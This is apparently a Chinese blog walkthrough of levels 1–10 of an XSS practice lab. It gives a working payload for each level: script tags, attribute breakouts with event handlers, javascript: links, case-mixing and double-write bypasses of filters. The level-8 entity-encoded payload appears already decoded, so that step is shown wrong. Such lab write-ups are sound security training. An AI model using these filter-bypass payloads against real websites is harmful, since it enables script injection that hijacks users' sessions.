配置环境
虚拟机:Windows7–>IP:192.168.50.248
工具:phpstudy5.4.45
浏览器:火狐渗透版
靶场:
链接:链接:https://pan.baidu.com/s/1l1T1K0QyJrnv22vabC6pRw
提取码:t6z4
第一关

先输入XSS的代码
<script>alert(1);</script>

直接弹窗了,第一关没啥难度
第二关
还是一样,先输入代码
<script>alert(1);</script>

发现输入的代码打印出来了,按F12查看一下,发现value属性没有加过滤,直接闭合

输入代码
"><script>alert(1);</script>

第三关
直接输入
"><script>alert(1);</script>

发现输入的也是直接打印出来了,还是按F12查看一下,发现尖括号被转义了

重新构造pyload,鼠标在搜索框里过一下
' onmousemove='javascript:alert(1)

第四关
直接输入上关的代码

输入的被打印出来,按F12查看,发现单引号未闭合

改换成双引号,鼠标移动到搜索框
" onmousemove="javascript:alert(1)

第五关
使用上关的代码

输入的被打印出来的,按F12查看,ON被过滤了

使用html的标签过,并点击搜索框旁边的尖括号
"> <a href='javascript:alert(1)'>

第六关
使用上关的代码

输入的被打印出来的,按F12查看,href被过滤了

使用大小写绕过
"><ScRiPt>alert(1)</ScRIpT>

第七关
使用上关的代码

输入的被打印出来的,按F12查看,script被过滤了

使用双写来绕过
"> <scrscriptipt>alert(1)</scrscriptipt>

第八关
使用上关的代码

发现输入的并点击友情链接都给打印出来了,按F12查看,发现是汉字

那么HTML实体编码并点击友情链接
javascript:alert(1)
javascript:alert(1)

第九关
使用上关的代码

提示连接不合法,那么重新构造一下
javascript:alert(1)//http://www.baidu.com

第十关
输入"><script>alert(1);</script>

输入的打印出来了,按F12查看

发现t_sort可以使用,构造pyload,并点击搜索框
t_sort=" onclick=alert(1) type="text"

XSS漏洞攻防实战:十关挑战解析
本文详细记录了一次XSS漏洞攻防的实战过程,通过十个关卡的挑战,展示了不同场景下XSS攻击代码的构造与防御的破解。从简单的脚本注入到复杂过滤的绕过,再到HTML实体编码与大小写的利用,揭示了XSS攻击的多样性和防御的必要性。
1353

被折叠的 条评论
为什么被折叠?



